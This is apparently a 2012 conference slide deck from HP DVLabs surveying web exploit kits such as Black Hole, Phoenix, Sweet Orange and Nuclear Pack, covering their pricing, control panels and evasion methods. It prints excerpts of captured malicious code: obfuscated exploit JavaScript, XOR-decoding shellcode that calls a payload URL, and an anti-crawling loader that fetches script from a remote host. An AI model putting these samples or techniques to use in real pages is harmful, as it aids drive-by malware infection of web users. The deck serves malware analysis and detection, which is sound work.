

The State of Web Exploit Kits

Jason Jones, HP DVLabs

Who Am I?

- Team Lead, ASI
- Malware Analysis
- IP Reputation
- Malicious content harvesting

What Are Web Exploit Kits?



Web Exploit Kits Are...

Pre-packaged software that consists of

- Installers (usually)
- Typically PHP-based
- Number of Exploits
 - Rarely 0-day
- Control Panel
 - Installer
 - Statistics
 - Configuration
- Install malicious payload
 - Botnet
 - Trojan
 - Fake AV

Exploit Kit Economy


- Cost up to thousands of dollars
- Rentals also offered on daily/weekly/monthly basis
- Bullet-proof hosting options
- Contain “EULA”-like agreements
- Marketing & competitiveness between kits
- Regularly issue updates
 - Bug-fixes
 - Exploit reliability updates
 - Aesthetic changes

Active Exploit Kits



* Image courtesy of Kahu Security

How Exploit Kits Typically Work



Black Hole Exploit Kit



What is Black Hole Exploit Kit?

- Launched in late 2010
- Currently most popular exploit kit
- Version 1.2.3
- Contains many recent Java exploits
- Contains exploit for CVE-2012-1889 (MS XML)
 - 0-day at the time
- Good JavaScript obfuscation

Black Hole in the News

NET Threat Blog



Spam campaign uses Blackhole exploit kit to install SpyEye
BY SÉBASTIEN DUQUETTE Malware Researcher

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This article was written in collaboration with



The Kaspersky Lab Security News Service

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December 5, 2011, 11:09AM

Carberp and Black Hole Exploit Kit Wreaking Havoc

Fake Facebook Friend Request leads to ZeuS via BlackHole Exploit Kit

AUG 22 2011

Written by Kimberly



Stop Malvertising did intercept an unsolicited email appearing to be from Facebook. The email poses as a Facebook Friend Request

eWEEK.COM
Attackers Subvert MySQL.com With Blackhole
Exploit Kit to Serve Malware

Sunday, December 18th, 2011

Google Custom Seal Search

The Tech Herald

USPS website hit by Blackhole Exploit Kit

by Steve Ragan - Apr 8 2011, 02:05

Researchers at Zscaler have uncovered a Blackhole Kit attack carried out against the U.S. Postal Service's Rapid Information Bulletin Board System (RIBBS). This is the second Blackhole Kit attack discovered this week, after another was spotted on the website for the Houston International Film Festival on Monday.

The Blackhole Kit, which was developed in Russia, cost about \$1,500 USD annually for anyone who wants to deploy it, with discounts for six-month usage and quarterly usage. Described as being powerful, the kit

threat post

The Kaspersky Lab Security News Service

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
Multimed

Home > Malware Attacks ,
May 23, 2011, 11:38AM

Black Hole Exploit Kit Available for Free




Black Hole Events in 2011



Black Hole Spam Campaigns


- Spam is easy
- Target users with
 - Fake delivery notices
 - Fake IRS notices
 - Fake orders from online retailers
- User clicks the link
 - Owned!

Black Hole Control Panel



*Image courtesy of Xylit0l

Black Hole Control Panel (cont.)




*Image courtesy of Xylit0l

83%?!?!



Black Hole Control Panel (cont.)



*Image courtesy of Xylit0l

Black Hole Exploit URL Schemes

- Predictable
- Typically ending in .php
 - Main.php and showthread.php most common
- One URL parameter
 - Normally 1-5 characters
 - Value is 16 valid hex characters
- Malware payload URL normally w.php
 - 3 parameters

Black Hole JavaScript Obfuscation

- Changes a lot
- Typically consists of
 - Text blob in HTML tag or parameter
 - Deobfuscation routine
- Loads malicious iFrame for bulletproof site
 - More obfuscated JavaScript
 - Detects browser/plugin versions
 - Launches exploit to load malware

Black Hole JavaScript Obfuscation (cont.)

```
<inter><h1>Please wait page is loading...</h1>
function(b){return typeof b!="undefined"}
function(b){return typeof b=="number"},isS
b)?(d.isDefined(c)?new RegExp(c):d.getNum
s(h,f)}c=h.split(e.splitNumRegex);b=f.spli
n(b,c){var d=this,a,e;if(!d.isStrNum(b)) {
>c||!(/\d/).test(e[a])){e[a]=="0"}return
gth;e++) {if(/^\s/.test(f[e]))&&(c=naviga
?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigat
est(RegExp.leftContext+RegExp.rightConte
d,j=e.isString(k)?[k]:k;for(d=0;d<j.lengt
ion:function(f,b){var h=this,e,d,g,a,c=-1
=h.formatNum(b);d=b.split(h.splitNumRegex)
XObject,getAX0:function(a){var f=null,d,t
(h.length>0&&!g[h]) {g[h]=g[a](g);delete g
ify){c.verify.$=c};c.OS=100;if(b){var f,c
]&&new RegExp(d[f],"i").test(b)){c.OS=d[i
,10]:null;c.ActiveXEnabled=false;if(c.is]
xml2.DOMDocument","Microsoft.XMLDOM","St
ue;break}}c.head=c.isDefined(document.get
:\s*([\.\,\,\d]+)/i).test(i)?RegExp.$1:"0.
1):null;c.isOpera=(/Opera\s*/]? \s*(\d+
,10):null;c.addWinEvent("load",c.handler(
.replace(/\s/g,""));a=b[c];if(!a)||!a.getVersion
=a.version0=a.getVersionDone=null;a.$=t
ength<=0)&&c.isFunc(b[0]))){a.push(b)}},
) ?c.length:-1:if(!(a<=0)&&b.isFunc(c[0])){a.push(b)}}
s="";
w=2;
for(k=a.length-1;k>=0;k--){
    if(window.document)try{dshsdfh.a
        v=a[k];
        n=a.length-k-1;
        n=n-Math.floor(n/w)*w;
        z=v*(n+1);
        s=s+String.fromCharCode(
            )
}
//e(s);
}
a="59;.20.5;.40;.24;.108;.56;.115;.62.5;
57.5;.97;.54;.70;.30.5;.76;.38.5;.84;.36
5;.101;.54.5;.117;.49.5;.111;.50;.59;.20
4;.48.5;.118;.29.5;.34;.31;.116;.49.5;.1
;.17;.62;.19.5;.48;.24.5;.39;.30.5;.116;
01;.59;.97;.59.5;.107;.49.5;.111;.52;.11
5;.108;.48.5;.43;.17;.39;.30.5;.115;.57.
0.5;.101;.54.5;.97;.55;.32;.19.5;.100;.5
;.21.5;.106;.49;.111;.47.5;.104;.57.5;.9
.53;.98;.55.5;.95;.52;.115;.48.5;.108;.3
.54;.97;.17;.92;.30.5;.101;.54.5;.97;.55
;.46;.17;.43;.50.5;.109;.48.5;.110;.51;.
7;.54;.70;.29.5;.34;.31;.39;.50;.105;.47
```

Black Hole PDF Obfuscation

- Slightly different obfuscation than JavaScript
- ASCII Character replacement
 - a for “a”
 - Still uses giant text blobs
 - Characters separated by ‘@@@’
- Once deobfuscated follows the same pattern as JavaScript in HTML

Black Hole JavaScript Shellcode

- Most exhibits the same behavior
 - Standard JMP / CALL to obtain address
 - Patches bytes of shellcode using XOR with 0x28
 - VOILA! Junk ASM code now valid
 - URL now visible near the end of the shellcode
 - Easily detected by many shellcode detection libs

```
;:0000017F          db  45h ; /
;:000001A0          db  70h ; p
;:000001A1 aHttpWwwapps1My db 'http://wwwapps1-myups.com/t.php?f=6d4b0&e=1',0
;:000001CD          db  0
;:000001CD  seg000      ends
```

Black Hole JavaScript Shellcode (cont.)

```
J0000 inc ecx  
J0001 inc ecx  
J0002 inc ecx  
J0003 inc ecx  
J0004 and sp, OFFFCh  
J0008 cld  
J0009 jmp short loc_1B  
J000B ; -----  
J000B loc_B: ; CODE XREF: seg000:loc_1B+jp  
J000B pop eax  
J000C xor ecx, ecx  
J000E sub cx, 0FE52h ; get number of bytes to patch  
J0013  
J0013 loc_13: ; CODE XREF: seg000:000000017+jj  
J0013 xor byte ptr [eax], 28h ; XOR shellcode bytes with 0x28  
J0016 inc eax  
J0017 loop loc_13  
J0019 jmp short shellcode  
J001B ; -----  
J001B loc_1B: ; CODE XREF: seg000:000000009+j  
J001B call loc_B  
J0020  
J0020 shellcode: ; CODE XREF: seg000:000000019+j  
J0020 test esp, esp  
J0022 jnz short loc_58  
J0024  
J0004 and sp, 0FFFCh  
J0008 cld  
J0009 jmp short loc_1B  
J000B ; -----  
J000B deobf_sc:  
J000B pop eax  
J000C xor ecx, ecx  
J000E sub cx, 0FE49h  
J0013 loc_13: ; CODE XREF: seg000:loc_1B+jp  
J0013 xor byte ptr [eax], 28h ; XOR shellcode bytes with 0x28  
J0016 inc eax  
J0017 loop loc_13  
J0019 loc_19: ; CODE XREF: seg000:000000019+j  
J0019 jmp short shellcode  
J001B ; -----  
J001B loc_1B: ; CODE XREF: seg000:000000009+j  
J001B call deobf_sc ; j:  
J0020 shellcode:  
J0020 lodsd  
J0021 int 3 ; T:  
J0022 pop ebp  
J0023 sbb al, 0C1h ; ''  
J0025 ja short loc_42
```

Phoenix Exploit Kit



Phoenix Exploit Kit History

- Started in 2007
- Current version 3.1
- Offers full and mini versions
 - Mini version only allows one affiliate
 - Full allows for multiple
- Tracks visitors, only launches exploit once per IP
- Large number of exploits available

Phoenix Exploit Kit Statistics

.php?go=advanced_statistics

Phoenix Exploit's Kit 3.1 full

△CONCORDIA, INTEGRITAS, INDUSTRIA...

Operation systems statistics

| OS | Visits | Exploited | Percent |
|----------------|--------|-----------|---------|
| Other | ■■■■■ | ■■■■■ | ■■■% |
| Windows XP SP2 | ■■■■■ | ■■■■■ | ■■■% |
| Windows XP | ■■■■■ | ■■■■■ | ■■■% |
| Windows 7 | ■■■■■ | ■■■■■ | ■■■% |
| Windows | ■■■■■ | ■■■■■ | ■■■% |
| Linux | ■■■■■ | ■■■■■ | ■■■% |
| Windows 98 | ■■■■■ | ■■■■■ | ■■■% |
| Windows Vista | ■■■■■ | ■■■■■ | ■■■% |
| Windows 95 | ■■■■■ | ■■■■■ | ■■■% |

Advanced browsers statistics

| Browser | Visits | Exploited | Percent |
|-----------------|--------|-----------|---------|
| Other | ■■■■■ | ■■■■■ | ■■■% |
| MSIE v6.0 | ■■■■■ | ■■■■■ | ■■■% |
| MSIE v7.0 | ■■■■■ | ■■■■■ | ■■■% |
| Firefox v11.0 | ■■■■■ | ■■■■■ | ■■■% |
| Firefox v9.0.1 | ■■■■■ | ■■■■■ | ■■■% |
| Opera v9.80 | ■■■■■ | ■■■■■ | ■■■% |
| Safari | ■■■■■ | ■■■■■ | ■■■% |
| MSIE v8.0 | ■■■■■ | ■■■■■ | ■■■% |
| MSIE v4.01 | ■■■■■ | ■■■■■ | ■■■% |
| MSIE v7.01 | ■■■■■ | ■■■■■ | ■■■% |
| Firefox v3.6.9 | ■■■■■ | ■■■■■ | ■■■% |
| Opera | ■■■■■ | ■■■■■ | ■■■% |
| Firefox v1.5.0 | ■■■■■ | ■■■■■ | ■■■% |
| Firefox v3.0.9 | ■■■■■ | ■■■■■ | ■■■% |
| Firefox v3.6.28 | ■■■■■ | ■■■■■ | ■■■% |
| MSIE v5.0 | ■■■■■ | ■■■■■ | ■■■% |
| Opera v9.64 | ■■■■■ | ■■■■■ | ■■■% |

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*Image courtesy of Xylit01

Phoenix Exploit Kit Exploit Statistics

CONCORDIA, INTEGRITAS, INDUSTRIA...

Simple browser statistics

| Browser | Visits | Exploited | Percent |
|---------|--------|-----------|---------|
| MSIE | ■ ■ ■ | ■ | % |
| Other | ■ ■ ■ | ■ | % |
| Firefox | ■ ■ ■ | ■ ■ ■ | % |
| Opera | ■ ■ ■ | ■ ■ ■ | % |

Main Statistics

| Unique Visits | Exploited | Percent |
|---------------|-----------|---------|
| ■ ■ ■ ■ ■ | ■ ■ ■ ■ ■ | % |

Exploit statistics

| Exploit | Exploited | Percent |
|--------------|-----------|---------|
| JAVA TCRHINO | ■ | % |
| JAVA ATOMIC | ■ | % |
| MDAC | ■ ■ ■ | % |

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*Image courtesy of Xylit01

PEK JavaScript Obfuscation

- Uses multiple <script> tags
 - 2 <script> tags
 - <textarea> tag
 - Final <script> tag
- Deobfuscated code still not obvious
- No
 - “getShellcode” routine
 - “heap spray” references

PEK Obfuscated JavaScript

+"+"+"").replace(pripuh,ssat).replace(ialabola,huivnos);}></script><script>var etcwxw6="vhbba3t s12so2has7bba8jhv3hvivahsfssohxfsdjhsshrovbjjsfdfshjbodhessawobsjsfbh=jjb'shfnddjbbhkfhj4jbxNhqb2bj abedKsbqJdjvDjhBfbjWbshJjhHhdjKfshBda3B'bvB;h41fvg2uhhBnsj4cfa5thhHirgJojhBnfsF~bdKDehJEwvHTjdAEhv5 jhHAhdJVhbBAxsH(bjW)ahB{saUvbdYadbYrqhB~vsBvhjHejaBrhb1shdHijjBohhEn3aB;vbDt4dDrghAyhwN{j7Sva6Bah2Hr tJMdfQshhV~vsW=ddH~vbBdsh4oashchbJudfBmbhHesjBnjqHthbJ.ajBgdhJebf1thjHEsh2ljFBeaJDmbHAedABnjHATHGABA BdhJX(wHB'7DHd6Fhe2Jbp3Hj14ShotVsyyFbJhUfasYjvdRhabFsPhUdlsYbubRfgfHjihFhnjBb'qVj) bFh.jHwjhAbvfVrmjI vJGbeHA4rAD3sHV2iGShoSFbnVHj~FBh=JHa~HBsVDHxMFJjsJHh.HhbgSbdeVjjtFjh(Uba0Yfs)Rgb.FdjhUjheYhdrRdbshfj Vjj;Ffb}HdwcAheaVhbtDfjcFhhhHhb~Ghs(AhheD3d)V7s{S6affF1buH2hnB7vcH8htB3siHvfoJfhnhhr~hdjtbsfejvbsjfet shidbbnjffghjjAdshcfdfdhtbbxigfbvjjaefhsXdbb(hjdvhhqefbvrhshshdjhjhohfhn3bj)7jh{6h3v1fva2d4r7'g~8;ho: hehgcgdthtsisNvodafnhmh~vedMd~sDv=bAs~fCa'j(hJs)dad{bvbvsafajWjrheh~abbpdSj~bth=hab~srstdjtdoa.jcbif nhnasftbtd.da'chl;rlwfe7eua6dnt2.ce3'tE4~ilt+oef~nmhv~eseDndrEtbsT(hiE'soCobnTbf~Pjh+Dej~Fcq'(tb.)'j rpjiy.hf{sF~veJ(atH!rAAA~tHcltGtvSi=iVvPbFedujXftH01eDb.(FjG'JeeiHctdStV'Ve, F{rpUrs)Yei;RtopFun.Ur tHf;AFavtJlatVsrrFe~iH;fbA}iuVt=tDr/eFyE(H{S'GrccAerlDtiaVupsSrtsFn=iH~(dB(['Hn^, Be, 'Hw]cJ~+lHA)shc, jvvBbeaDfXr9g0~6dbfCjji5hef5dc=6ft/-b(A6goc5jbrAfjo3def-hco1htr1fNmDha=0hm(-he[9h)^83~,37!]A6=+-1~){ l;03ll4v)vFf;fCh}=2dcl9savEvt.3fcm6hha'd~t)s(c;behtfx(rjcfysei{dpfvbt)afi[rjo1~hn]qb).~j{s=hrp~belp (rfn'eb~.ajf'tha)efl;0dslb'evj;;=ed}lco)vtci.(ufm'm~ame(tsntcxtehm.s(lwtf2rUi.is)Xti[Men1L(g)H'A.T<c 'dvi,yet>X('<(')/'.;b1'vo.)ad7;ry.s~>0vr<='~0)p=B)a~J{rpEvs.CeeCTrIr~sneitado(t=nleP~v0d=[bf~0j1'] a7l(m.v'e0=S='phP;aed}rlfesl1le.~sIAhenpe~tpii(lgflih~vct(.a=tjt0eoii~siowtnniU('ds',ti''hn')=g))0A;; ifrav=~sepssXa~i(r=d's~1epc.I.l6nCs.tri0(ed'la:)vtC)feA{.08vjbAeoj9rie7snc8i(t0o'(-n'2~)a8=)d0~;o[~.16(sC.ltF0vr-'=eA;=a2}7m4e1'Dl0,-s)'4e{'4~S)4iH;5f0t5~Wr3(Py5tD{4eFs0s(.0t't0Uey0ssp>ige<nt~/gg=0/ ;EiiqCvl.Teco>Xtp<(2e''.n~1p(+.d'~5fG'. 'Eo0)Tb';'j)},e)e'c{lhtvst~eetc~pls:i:aif/so~/sn(1i~(8d=(8=~s l.=0s56.i.)9d0|8:'|.C;(1A}s3Fev2El=/Es=pFe7hA~)/Ci)d-f&MD~&gE((5Ctl.7evp-s<h0t7p0U1?0s1i0i)=n)10g{5 t0f-iWaAvPlBeDsCXFeD((E"';F1eqF.s.E4gsD.teC2gnB'ndA)k(`t)~{i;'vls~ec.+rto~s2p'i.eiopndnd(=~f)`=';c }Wl.ero4liy.stJ2eea'{(v;Mqa}D.P}ArltCeur(sgy)pi{:onv}n'a}s~rcew~aBimtodacdtjhyho~)=r(;`~ev0=)a`~{r~p ~isC=ge(~hI)'tn;.=t}/`()/.0vf.'eu.>rn/'sc/~itf+oii~nol'.ne<s~.'pSe~lHx+i0e~tw' '(P;/'Ds'.F.~'(S+)fa~[rb)voj;aFevrifica~ltrpe'~~(~m=t+i~,~nd2'oo)>rc;`~us)=m.;~eCvvnlaeorr.s~scsir(oe)sna;a.t}vsecipEasllt (e(o'nes_t)s'(~o)'{s[i]o1ftg]rrs;ay=im{'fern~'.j()skm;h4ipeNn.l2osljreeK)txN{AeKmtcJituDnrtBoieWrb(J e;Bp()Ba'cBrsal1srt2eccBI'h4n,(5t~eH(f)Jmn~Bi){Fn;}Kop}Jr.cH)saA;etS)tcNeAhDlt(HsteJer)B{i~Hmb{Wiu}Br EY~'TB=wEB~iCH0dTB;tJ1}hAHi'VBf,AE~~(B(0)D());Dm;vAapaNj.rSos~Breuh~taE=AhH=taJ~thQ6raV)ihW~baH&uhB&t J('hBmhaHie;BnivHogaJrhrB~t~J>'s1=,oH~~s210aB9)vD);iA~psB&.oA&ssA~esH(toJmAsBitsXntoBorlHrikh~bab<us 2(ob1'sf)f=j)r'h)ans{mjdJekbAb4fVoNjAr2hSdJbKeKjYrNhL'KwI,JbN~DrE'Bh(0Wj)'Jb;)Hb};K4edB3loB2scBheu1t n4aTt5sE.HxCbJjToBhPdFbDyKdF.Jj(aHh)pAa;pSs}eNb}nDjcdHhaCJdthBbcijhhlWb~dBq((UjepYb))Yw{;BeD)BbEvHj1



PEK PDF Obfuscation

- Resembles Black Hole JS obfuscation
- Large array of integers
- Run through deobfuscation routine, launch exploit
- Deobfuscation routine simpler than Black Hole

```
36 var hui=12/utml;
37     }
38
39 catch(v32vrw)
40     {
41
42         i=0;
43         while(i!=3937)
44         {
45             s=s+a[b[i]];
46             i=1+i;
47         }
48         k=s;
49         e(k);
50     }
```

Other Exploit Kits



Lots of New Kits

- Large number of new kits in 2012
- Multiple kits have popped up from China
- Many more popping up from Eastern Europe
- Some kits pop-up and then disappear
- Too many to keep up with!

Yang Pack

- Surfaced in late 2011 / early 2012
- Based out of China
- 3 exploits, very low detection rates
- Like many kits from China
 - No PHP files
 - No database backend
 - Consist only of static HTML files

Sweet Orange Exploit Kit

- Surfaced in 2012
- Aims to keep small footprint
- Authors only give information to established cybercriminals
- Costs \$2500
- Rents for \$1400
- Observed in the wild?

Sweet Orange Exploit Kit (cont.)

| | | |
|--------------|---|------|
| Chrome All | 0 | 0 |
| Firefox All | 0 | 0 |
| Opera All | 0 | 0 |
| Firefox new | 1 | 0.19 |
| Firefox 3.16 | 0 | 0 |

| браузер | Все | Загружено | % |
|---------|------|-----------|-------|
| ie | 1700 | 497 | 29.24 |
| Other | 271 | 0 | 0 |
| Firefox | 142 | 22 | 15.49 |
| Opera | 5 | 1 | 20 |

| # | Страна | Все | Загружено | % |
|---|--------|------|-----------|-------|
| | US | 1156 | 278 | 24.05 |
| | CA | 486 | 133 | 27.37 |
| | DE | 265 | 53 | 20 |
| | GB | 118 | 27 | 22.68 |
| | AU | 30 | 10 | 33.33 |
| | TR | 20 | 8 | 40 |
| | SA | 10 | 4 | 40 |

*Image courtesy of Webroot / Dancho Danchev

Sweet Orange Exploit Kit (cont.)

The screenshot shows the Sweet Orange Exploit Kit interface. At the top, there are three orange icons of oranges, followed by the text "Sweet Orange". Below this is a navigation bar with five buttons: "Статистика" (Statistics), "Файлы" (Files), "Поставщики" (Suppliers), "Домены" (Domains), and "Обновление" (Update). On the left, there is a sidebar with a "Остановлен" (Stopped) button and three control buttons: "Старт" (Start), "Стоп" (Stop), and "Распак." (Unpack). In the center, there is a "Очистить статистику" (Clear statistics) button and a dropdown menu "Выберите поставщика" (Select supplier) with "FASk" selected. Below these are two tables. The first table shows traffic statistics: "Всего трафа" (Total traffic) 2118, "Пробито" (Patched) 520, and "% 24.55". The second table shows the distribution of operating systems: OS, Все (All), Загружено (Loaded), and %. The data is as follows:

| ОС | Все | Загружено | % |
|-------|-----|-----------|-------|
| Seven | 988 | 249 | 25.2 |
| XP | 461 | 139 | 30.15 |
| Vista | 366 | 130 | 35.52 |
| MacOS | 19 | 0 | 0 |
| Linux | 9 | 2 | 22.22 |
| Other | 6 | 0 | 0 |
| 98 | 2 | 0 | 0 |
| 2003 | 1 | 0 | 0 |

At the bottom, there are two buttons: "Эксплойт" (Exploit) and "Загружено %" (Loaded %).

*Image courtesy of Webroot / Dancho Danchev

Nuclear Pack v2

- Been dormant for a few years
- Resurfaced in 2012 with 4 exploits
- Introduced anti-honeyclient feature
 - Difficult to automate collection of exploits
 - More interactive honeyclients/sandbox required

Nuclear Pack Anti-Crawling

```
4333 (function() {
4334 var url = 'http://smmxkycxsu.webhop.org/g/';
4335 if (typeof window.xyzflag === 'undefined') {
4336 window.xyzflag = 0;
4337 }
4338 document.onmousemove = function() {
4339 if (window.xyzflag === 0) {
4340 window.xyzflag = 1;
4341 var head = document.getElementsByTagName('head')[0];
4342 var script = document.createElement('script');
4343 script.type = 'text/javascript';
4344 script.onreadystatechange = function () {
4345 if (this.readyState == 'complete') {
4346 window.xyzflag = 2;
4347 }
4348 };
4349 script.onload = function() {
4350 window.xyzflag = 2;
4351 };
4352 script.src = url + Math.random().toString().substring(3) + '.js';
4353 head.appendChild(script);
4354 }
4355 };
```

Conclusion

- Exploit kits are only getting more sophisticated
 - Newer exploits
 - Changing evasions / obfuscations
 - This is a business for the authors, they are invested in staying one-step ahead to make money
- Detecting new techniques takes work
- Patch Java!

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Security

THANK YOU

QUESTIONS?

